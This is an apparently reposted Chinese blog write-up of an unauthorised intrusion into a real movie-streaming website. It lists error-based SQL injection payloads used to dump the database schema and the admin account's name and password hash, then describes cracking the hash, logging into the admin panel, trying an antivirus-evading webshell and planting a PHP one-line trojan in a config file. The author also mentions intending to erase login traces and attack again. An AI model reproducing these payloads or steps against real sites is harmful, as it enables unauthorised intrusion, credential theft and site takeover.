一、發現漏洞
1.1. 發現
這是一篇兩年前的筆記了,之前平常喜歡看些電影影片,不想充值VIP,才發現的網站,但是這個網站A并不是主要測驗的,而是通過發現他的兄弟網站B,然后進行滲透,
1.2. 測驗
有事沒事對網站動一動,發現A存在XSS,但是并沒有多大的利用價值,但是通過友情鏈接,跳轉到了B,就覺得B可能也在同個位置存在XSS但是,令人驚訝的是,我沒發現XSS,但是確發現存在SQLI,加了個’,直接把sql陳述句爆出來了,如下圖1,
圖 1
二、漏洞利用
2.1 閉合規則
原始的陳述句:
SELECT `y80s_movies`.*, `y80s_photos`.`path` AS photo_path, `y80s_photos`.`share` AS photo_share FROM (`y80s_movies`) LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`.`id` = `y80s_movies`.`photo_id` WHERE `y80s_movies`.`public` = '1' AND `y80s_movies`.`attribute` NOT LIKE '%%1%%' AND (name like '%XXX%' or aka like '%XXX%') ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.`id` DESC LIMIT 25
原始報文:
HTTP/1.1 500 Internal Server Error Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, Accept-Encoding, UserAccount Server: nginx Date: Thu, 29 Oct 2020 01:36:40 GMT Content-Type: text/html; charset=utf-8 X-Powered-By: PHP/5.6.38 X-Cache: MISS from aws-jp08 X-Cache: MISS from asia-hk11 Connection: close Content-Length: 882 Array ( [0] => Error Number: 1064 [1] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' or aka like '%xxx%') ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.' at line 6 [2] => SELECT `y80s_movies`.*, `y80s_photos`.`path` AS photo_path, `y80s_photos`.`share` AS photo_share FROM (`y80s_movies`) LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`.`id` = `y80s_movies`.`photo_id` WHERE `y80s_movies`.`public` = '1' AND `y80s_movies`.`attribute` NOT LIKE '%%1%%' AND (name like '%XXX%' or aka like '%XXX'%') ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.`id` DESC LIMIT 25 [3] => Filename: /home/wwwroot/XXXX/libraries/datamapper.php [4] => Line Number: 1410 ) <html> <head> <title>Error</title> </head> <body> hi</body> </html>
XXX為輸入的位置,同上可以看出,會同時在兩處插入,但其實只需要管一處即可,后面可以注釋掉,
當時在考慮,怎么閉合這個規則,怎么執行自己想執行的陳述句,但是可能被這么長的陳述句嚇到了,不知道從何下手,也可能是因為自己資料庫基礎不扎實,其實仔細分析,都是可以化繁為簡的,這陳述句也就是select 欄位 from 表名 (一個左外連接) where XXX and XXX and XXX order by XXX,以上是我想的,看看老王想的:這個構造看清大邏輯,select xxx from ta left outer join tb on ta.a=tb.b where con1=xxxxx and con2=xxxx oder by a.a,b.b limit 25,然后得出:注入是在where那里,你學廢了嗎?
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
2.2 爆資料
這步應該是最多的,一開始自己找不到閉合規則,經常會報錯,而且還是亂碼,如下圖2:
圖 2
一開始猜測是回顯了資料表,所以導致了亂碼,但是并不是,應該只是服務器的問題,這服務器本來就不太穩定,換下查詢資料,重繪頁面,多試幾次就好了,然后思路就想著,構造一個判斷陳述句,通過是與否來判斷資料庫的資訊,然后有了以下的兩個payload:
1、%e4%ba%ba') and 1=1 or (‘1’=’1
2、%e4%ba%ba') and exists(select path from y80s_photos) or ('1'='1
但是這payload真的是太傻了,好在報錯資訊有提供表名和mysql默認表dual,不然都沒法判斷是否構造完成,接下來是內容由老王指導完成,
通過union或者updatexml進行查詢,內容有回顯,一開始我并不知道的,后面通過百度查詢到了updatexml用法,于是自己構造了個:
1、%e7%88%b1') and updatexml(1,concat('~',(select database()),'~'),3)--+
獲取了資料名80s,如下圖3:
圖 3
既然可以回顯,那緊接著,就是查詢所有的表名,
筆記:
查詢資料庫中所有表名
select table_name from information_schema.tables where table_schema='資料庫名' and table_type='base table';
select table_name from information_schema.tables where table_schema='資料庫名'
查詢指定資料庫中指定表的所有欄位名column_name
select column_name from information_schema.columns where table_schema='資料庫名' and table_name='表名'
于是構造了
payload:%e7%88%b1') and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='80s' limit 0,1),'~'),3)--+
其實limit是后面加的,服務器回傳:Subquery returns more than 1 row,但是這邊只能顯示一條,所以一開始思路是使用limit一條一條去查出來,如下圖4、圖5:
圖 4
圖 5
利用burp-Intruder爆破出資料庫,但是,這樣太慢了,
老王提供了個函式group_concat(),group_concat()類似一個聚集函式,把所有內容拼接成字串,默認用逗號隔開,于是我的payload就變成:
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='80s'),'~'),3)--+
但是,人算不如天算,他回顯內容有限制長度的,如下圖6:
圖 6
看Y80應該可以明顯感覺斷了,及時看不出來,也不應該就這幾個表吧!這時候想到,我們豈不是可以通過limit限制內容,把已經看到了的不輸出,我真是天才,然后我構造了payload:
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='80s' limit 6,2),'~'),3)--+
發現頁面居然正常跳轉了,沒有報錯,我人傻了,估計是sql陳述句又哪里有問題了吧!后面看了老王的,他構造的是:
123333') and updatexml(1,concat(0x7e,(select group_concat(x.movie_id) from (select movie_id from hits limit 3,3)x),0x7e),1)--+
select group_concat(x.movie_id) from x,從x表查詢movieid,然后聚集成一行,x表是個別名,x = seelect movie_id from hits limit 3,3,從hits查movieid,從記錄3往后查3條,結果是個一列三行的資料臨時表,然后前面配合聚集,把這三行連接,這樣就不用limit a,1這種,每次限制一行記錄,這個可以limit a,5這樣,一次查五條,搜嘎!
由于我只是想登入后臺,嘗試找出管理員的表即可,我就還是一個一個試,最終找到管理員表y80s_managers,然后根據payload:
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='80s' and table_name='y80s_managers'),'~'),3)--+
查詢出欄位名id,name,password,right_id,lock等,如下圖7:
圖 7
但是我們主要還是賬號名密碼,所以繼續!構造payload:
%e5%a6%bb') and updatexml(1,concat('~',(select group_concat(name) from y80s_managers),'~'),3)--+
如下圖8:
圖 8
可以看到,只有一個賬戶,name為me****zz,再查詢密碼,如下圖9:
圖 9
忘記這個是有限制欄位的,也沒注意看是否是以~結尾,然后拿去md5解密,發現解不開,數了一下,31位的md5?這時候才發現,后面還有,于是使用substr函式,去截取后面的欄位,回顯!
Payload:%e6%96%b0') and updatexml(1,concat('~',(select substr(password,31) from y80s_managers),'~'),3)--+
Substr(str,pos,len),pos開始的位置,len為長度,str字串,len沒輸入的時候默認是pos開始截取到最后的位置,于是有了以下圖10:
圖 10
果然掉了一位,最后得到md5:9356*************63c
三、解密賬號密碼
3.1成功登錄
Md5解開后得到賬號名密碼:
Me****zz,935********63c(pj*****@)
然后使用dirsearch,搜索出后臺(其實我是先找到后臺才想著去注入的),成功登錄,如下圖11:
圖 11
原本想洗掉登錄記錄的,但是發現這后臺功能有點簡陋,好像沒有發現有登錄記錄之類的,就沒先下了,后續再二次進攻!
3.2 識訓其他資訊
以下是收集到的其他資訊:
database:80s mysql5.6.44 table:hits,y80s_ads,y80s_articles,y80s_bigphotos,y80s_caijis,y80s_cast_infos,y80s_casts,y80s_casts_movies,y80s_directors_movies,y80s_directors, y80s_dlurls,y80s_dlurls_movies,y80s_doubans,y80s_duoshuo_comments,y80s_forhotmovies,y80s_hits,y80s_hotwords,y80s_infos,y80s_managers,y80s_moviedesc_ups y80s_ads: id title name content y80s_managers: id,name,password,right_id,lock
四、尋找上傳點
發現該網站存在設定影片的圖片,直接上免殺馬,免殺馬是github上大佬寫的生成工具,已測驗過是可以過360和D盾的,鏈接:https://github.com/pureqh/Troy
服務器直接報錯,多番嘗試發現無法上傳馬,還發現了資料庫備份,但是貌似無法修改資料庫擴展名,
五、柳暗花明又一村
在查看網站功能的時候,我又發現了另一個好東西:
組態檔編輯,直接把一句話木馬寫到組態檔里面,通過寫入<?php phpinfo();?>后,發現在每個頁面初始化的時候,都會去呼叫該組態檔,直接getshell,
六、小結
閉合規則是花費時間最長的,還有后面要利用的時候,構造payload也是我花費時間最多的,基本都是百度上查,很多都不懂,兩個的根本原因還是因為對sql注入,乃至資料庫的基礎都不是很懂,很多函式,都不知道,不知道有功能有什么函式,在利用的時候就難以下手,耗費大量時間,其次還可通過mysql直接寫入shell的,這個也是后面才知道的,不過寫入shell的前提條件較為苛刻,
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/518750.html
標籤:其他
上一篇:網路安全比賽A模塊任務書
下一篇:JAVA代碼審計之xss
